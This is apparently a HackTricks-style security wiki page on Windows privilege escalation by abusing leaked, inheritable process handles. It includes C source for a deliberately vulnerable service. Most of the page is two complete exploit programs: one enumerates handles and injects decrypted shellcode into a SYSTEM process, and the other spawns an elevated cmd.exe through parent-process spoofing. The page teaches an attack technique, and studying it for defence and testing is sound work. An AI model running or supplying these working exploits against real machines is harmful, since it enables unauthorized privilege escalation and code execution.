# Leaked Handle Exploitation

{% hint style="success" %}
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{% endhint %}

## Introduction

Handles in a process allow to **access** different **Windows resources**:

![RootedCON2022 - Exploiting Leaked Handles for LPE](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-be360b80c29c289db2f83913c7d6e577e65cc640%2Fimage%20\(246\).png?alt=media)

There have been already several **privilege escalation** cases where a **privileged process** with **open and inheritable handles** have **run** an **unprivileged process** giving it **access to all those handles**.

For example, imagine that **a process running as SYSTEM open a new process** (`OpenProcess()`) with **full access**. The same process **also creates a new process** (`CreateProcess()`) **with low privileges but inheriting all the open handles of the main process**.\
Then, if you have **full access to the low privileged process**, you can grab the **open handle to the privileged process created** with `OpenProcess()` and **inject a shellcode**.

## **Interesting Handles**

### **Process**

As you read on the initial example if an **unprivileged process inherits a process handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**.

In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can see how to exploit any process handle that has any of the following permissions:

* PROCESS\_ALL\_ACCESS
* PROCESS\_CREATE\_PROCESS
* PROCESS\_CREATE\_THREAD
* PROCESS\_DUP\_HANDLE
* PROCESS\_VM\_WRITE

### Thread

Similar to the process handles, if an **unprivileged process inherits a thread handle** of a **privileged process** with enough permissions it will be able to execute **arbitrary code on it**.

In [**this excellent article**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) you can also see how to exploit any process handle that has any of the following permissions:

* THREAD\_ALL\_ACCESS
* THREAD\_DIRECT\_IMPERSONATION
* THREAD\_SET\_CONTEXT

### File, Key & Section Handles

If an **unprivileged process inherits** a **handle** with **write** equivalent **permissions** over a **privileged file or registry**, it will be able to **overwrite** the file/registry (and with a lot of **luck**, **escalate privileged**).

**Section Handles** are similar to file handles, the common name of this kinds of [objects is **"File Mapping"**](https://docs.microsoft.com/en-us/windows/win32/memory/file-mapping). They are used to work with **big files without keeping the entire** file in memory. That makes the exploitation kind of "similar" to the exploitation of a File Handle.

## How to see handles of processes

### Process Hacker

[**Process Hacker**](https://github.com/processhacker/processhacker) is a tool you can download for free. It has several amazing options to inspect processes and one of them is the **capability to see the handles of each process**.

Note that in order to **see all the handles of all the processes, the SeDebugPrivilege is needed** (so you need to run Process Hacker as administrator).

To see the handles of a process, right click in the process and select Handles:

![](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-20c8def05cb67ba3be906082c2aa4aed29821544%2Fimage%20\(616\).png?alt=media)

You can then right click on the handle and **check the permissions**:

![](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-811b2066d7241e55fbb53ce97074eedad60effb1%2Fimage%20\(946\).png?alt=media)

### Sysinternals Handles

The [**Handles** ](https://docs.microsoft.com/en-us/sysinternals/downloads/handle)binary from Sysinternals will also list the handles per process in the console:

![](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-adc81a7a71027bf5692e957162029f32e3f3f53b%2Fimage%20\(720\).png?alt=media)

### LeakedHandlesFinder

[**This tool**](https://github.com/lab52io/LeakedHandlesFinder) allows you to **monitor** leaked **handles** and even **autoexploit** them to escalate privileges.

### Methodology

Now that you know how to find handles of processes what you need to check is if any **unprivileged process is having access to privileged handles**. In that case, the user of the process could be able to obtain the handle and abuse it to escalate privileges.

{% hint style="warning" %}
It was mentioned before that you need the SeDebugPrivilege to access all the handles. But a **user can still access the handles of his processes**, so it might be useful if you want to privesc just from that user to **execute the tools with the user regular permissions**.

```bash
handle64.exe /a | findstr /r /i "process thread file key pid:"
```
{% endhint %}

## Vulnerable Example

For example, the following code belongs to a **Windows service** that would be vulnerable. The vulnerable code of this service binary is located inside the **`Exploit`** function. This function is starts **creating a new handle process with full access**. Then, it's **creating a low privileged process** (by copying the low privileged token of _explorer.exe_) executing _C:\users\username\desktop\client.exe_. The **vulnerability resides in the fact it's creating the low privileged process with `bInheritHandles` as `TRUE`**.

Therefore, this low privileges process is able to grab the handle of the high privileged process crated first and inject and execute a shellcode (see next section).

```c
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

	HANDLE hProcSnap;
	PROCESSENTRY32 pe32;
	int pid = 0;
			
	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
			
	pe32.dwSize = sizeof(PROCESSENTRY32); 
			
	if (!Process32First(hProcSnap, &pe32)) {
			CloseHandle(hProcSnap);
			return 0;
	}
			
	while (Process32Next(hProcSnap, &pe32)) {
			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
					pid = pe32.th32ProcessID;
					break;
			}
	}
			
	CloseHandle(hProcSnap);
			
	return pid;
}


int Exploit(void) {
	
  	STARTUPINFOA si;
  	PROCESS_INFORMATION pi;
	int pid = 0;
  	HANDLE hUserToken;
	HANDLE hUserProc;
  	HANDLE hProc;

	// open a handle to itself (privileged process) - this gets leaked!
  	hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

	// get PID of user low privileged process
	if ( pid = FindTarget("explorer.exe") ) 
		hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
	else
		return -1;
	
	// extract low privilege token from a user's process
    if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
        CloseHandle(hUserProc);
        return -1;
    }

	// spawn a child process with low privs and leaked handle
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", 
						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

	CloseHandle(hProc);
	CloseHandle(hUserProc);
    return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
	switch ( controlCode ) {
		case SERVICE_CONTROL_SHUTDOWN:
		case SERVICE_CONTROL_STOP:
			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
			SetServiceStatus( serviceStatusHandle, &serviceStatus );

			SetEvent( stopServiceEvent );
			return;

		case SERVICE_CONTROL_PAUSE:
			break;

		case SERVICE_CONTROL_CONTINUE:
			break;

		case SERVICE_CONTROL_INTERROGATE:
			break;

		default:
			break;
	}
	SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
	// initialise service status
	serviceStatus.dwServiceType = SERVICE_WIN32;
	serviceStatus.dwCurrentState = SERVICE_STOPPED;
	serviceStatus.dwControlsAccepted = 0;
	serviceStatus.dwWin32ExitCode = NO_ERROR;
	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
	serviceStatus.dwCheckPoint = 0;
	serviceStatus.dwWaitHint = 0;

	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

	if ( serviceStatusHandle ) {
		// service is starting
		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		// do initialisation here
		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

		// running
		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
		serviceStatus.dwCurrentState = SERVICE_RUNNING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		Exploit();
		WaitForSingleObject( stopServiceEvent, -1 );

		// service was stopped
		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		// do cleanup here
		CloseHandle( stopServiceEvent );
		stopServiceEvent = 0;

		// service is now stopped
		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
		serviceStatus.dwCurrentState = SERVICE_STOPPED;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );
	}
}


void InstallService() {
	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

	if ( serviceControlManager ) {
		TCHAR path[ _MAX_PATH + 1 ];
		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
			SC_HANDLE service = CreateService( serviceControlManager,
							serviceName, serviceName,
							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
							0, 0, 0, 0, 0 );
			if ( service )
				CloseServiceHandle( service );
		}
		CloseServiceHandle( serviceControlManager );
	}
}

void UninstallService() {
	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

	if ( serviceControlManager ) {
		SC_HANDLE service = OpenService( serviceControlManager,
			serviceName, SERVICE_QUERY_STATUS | DELETE );
		if ( service ) {
			SERVICE_STATUS serviceStatus;
			if ( QueryServiceStatus( service, &serviceStatus ) ) {
				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
					DeleteService( service );
			}
			CloseServiceHandle( service );
		}
		CloseServiceHandle( serviceControlManager );
	}
}

int _tmain( int argc, TCHAR* argv[] )
{
	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
		InstallService();
	}
	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
		UninstallService();
	}
	else  {
		SERVICE_TABLE_ENTRY serviceTable[] = {
			{ serviceName, ServiceMain },
			{ 0, 0 }
		};
	
		StartServiceCtrlDispatcher( serviceTable );
	}	

	return 0;
}
```

### Exploit Example 1

{% hint style="info" %}
In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
{% endhint %}

In this example you can find the code of a possible exploit for _C:\users\username\desktop\client.exe_.\
The most interesting part of this code is located in `GetVulnProcHandle`. This function will **start fetching all the handles**, then it will **check if any of them belongs to the same PID** and if the handle belongs to a **process**. If all these requirements are completed (an accessible open process handle is found) , it try to **inject and execute a shellcode abusing the handle of the process**.\
The injection of the shellcode is done inside the **`Inject`** function and it will just **write the shellcode inside the privileged process and create a thread inside the same process** to execute the shellcode).

```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}


HANDLE GetVulnProcHandle(void) {
    
	ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;
    ULONG returnLength;
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD dwOwnPID = GetCurrentProcessId();
	
    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

    printf("[+] Grabbing handles...");

    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

    if (status != STATUS_SUCCESS)
    {
        printf("[!] NtQuerySystemInformation failed!\n");
        return 0;
    }

    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

    // iterate handles until we find the privileged process handle
    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

        // Check if this handle belongs to our own process
        if (handle.UniqueProcessId != dwOwnPID)
            continue;

        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectTypeInformation,
						objectTypeInfo,
						0x1000,
						NULL ) != STATUS_SUCCESS)
            continue;

		// skip some objects to avoid getting stuck
		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
        if (handle.GrantedAccess == 0x0012019f
			&& handle.GrantedAccess != 0x00120189
			&& handle.GrantedAccess != 0x120089
			&& handle.GrantedAccess != 0x1A019F ) {
            free(objectTypeInfo);
            continue;
        }

		// get object name information
        objectNameInfo = malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectNameInformation,
						objectNameInfo,
						0x1000,
						&returnLength ) != STATUS_SUCCESS) {
            
			// adjust the size of a returned object and query again
			objectNameInfo = realloc(objectNameInfo, returnLength);
            if (pNtQueryObject( (HANDLE) handle.HandleValue,
							ObjectNameInformation,
							objectNameInfo,
							returnLength,
							NULL ) != STATUS_SUCCESS) {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }

        // check if we've got a process object
        objectName = *(PUNICODE_STRING) objectNameInfo;
        UNICODE_STRING pProcess;

        pRtlInitUnicodeString(&pProcess, L"Process");
        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
            printf("[+] Found process handle (%x)\n", handle.HandleValue);
            hProc = (HANDLE) handle.HandleValue;
			free(objectTypeInfo);
			free(objectNameInfo);
			break;
        }
        else
            continue;
        
        free(objectTypeInfo);
        free(objectNameInfo);
    }
	
	return hProc;
} 

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
	
	LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;
	BOOL bStatus = FALSE;

	pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
	pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
	pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
	
	pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
	
    bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
	if (bStatus != FALSE) {
			WaitForSingleObject(hThread, -1);
			CloseHandle(hThread);
			return 0;
	}
	else
		return -1;
}

int main(int argc, char **argv) {
	
	int pid = 0;
	HANDLE hProc = NULL;

	// AES encrypted shellcode spawning notepad.exe (ExitThread)
	char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
	unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
	unsigned int payload_len = sizeof(payload);

	printf("My PID: %d\n", GetCurrentProcessId());
	getchar();
	
	// find a leaked handle to a process
	hProc = GetVulnProcHandle();
	
	if ( hProc != NULL) {
		
		// d#Decrypt payload
		AESDecrypt((char *) payload, payload_len, key, sizeof(key));
		printf("[+] Sending gift...");
		// Inject and run the payload in the privileged context
		Inject(hProc, payload, payload_len);
		printf("done.\n");
	}
	getchar();

    return 0;
}
```

### Exploit Example 2

{% hint style="info" %}
In a real scenario you probably **won't be able to control the binary** that is going to be executed by the vulnerable code (_C:\users\username\desktop\client.exe_ in this case). Probably you will **compromise a process and you will need to look if you can access any vulnerable handle of any privileged process**.
{% endhint %}

In this example, **instead of abusing the open handle to inject** and execute a shellcode, it's going to be **used the token of the privileged open handle process to create a new one**. This is done in lines from 138 to 148.

Note how the **function `UpdateProcThreadAttribute`** is used with the **attribute `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` and the handle to the open privileged process**. This means that the **created process thread executing \_cmd.exe**\_\*\* will have the same token privilege as the open handle process\*\*.

```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {
    
	ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;
    ULONG returnLength;
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD dwOwnPID = GetCurrentProcessId();
	
    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

    printf("[+] Grabbing handles...");

    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

    if (status != STATUS_SUCCESS)
    {
        printf("[!] NtQuerySystemInformation failed!\n");
        return 0;
    }

    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

    // iterate handles until we find the privileged process handle
    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

        // Check if this handle belongs to our own process
        if (handle.UniqueProcessId != dwOwnPID)
            continue;

        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectTypeInformation,
						objectTypeInfo,
						0x1000,
						NULL ) != STATUS_SUCCESS)
            continue;

		// skip some objects to avoid getting stuck
		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
        if (handle.GrantedAccess == 0x0012019f
			&& handle.GrantedAccess != 0x00120189
			&& handle.GrantedAccess != 0x120089
			&& handle.GrantedAccess != 0x1A019F ) {
            free(objectTypeInfo);
            continue;
        }

		// get object name information
        objectNameInfo = malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectNameInformation,
						objectNameInfo,
						0x1000,
						&returnLength ) != STATUS_SUCCESS) {
            
			// adjust the size of a returned object and query again
			objectNameInfo = realloc(objectNameInfo, returnLength);
            if (pNtQueryObject( (HANDLE) handle.HandleValue,
							ObjectNameInformation,
							objectNameInfo,
							returnLength,
							NULL ) != STATUS_SUCCESS) {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }

        // check if we've got a process object
        objectName = *(PUNICODE_STRING) objectNameInfo;
        UNICODE_STRING pProcess;

        pRtlInitUnicodeString(&pProcess, L"Process");
        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
            printf("[+] Found process handle (%x)\n", handle.HandleValue);
            hProc = (HANDLE) handle.HandleValue;
			free(objectTypeInfo);
			free(objectNameInfo);
			break;
        }
        else
            continue;
        
        free(objectTypeInfo);
        free(objectNameInfo);
    }
	
	return hProc;
} 


int main(int argc, char **argv) {
	
	HANDLE hProc = NULL;
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
	int pid = 0;
	SIZE_T size;
	BOOL ret;

	Sleep(20000);
	// find leaked process handle
	hProc = GetVulnProcHandle();

	if ( hProc != NULL) {

		// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
		ZeroMemory(&si, sizeof(STARTUPINFOEXA));

		InitializeProcThreadAttributeList(NULL, 1, 0, &size);
		si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
		
		InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
		UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

		si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
		
		// Spawn elevated cmd process
		ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 
			EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

		if (ret == FALSE) {
			printf("[!] Error spawning new process: [%d]\n", GetLastError());
			return -1;
		}
	}
	
	Sleep(20000);
    return 0;
}
```

## Other tools and examples

* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)

This tool allows you to monitor leaked handles to find vulnerable ones and even auto-exploit them. It also has a tool to leak one.

* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)

Another tool to leak a handle and exploit it.

## References

* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

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{% endhint %}
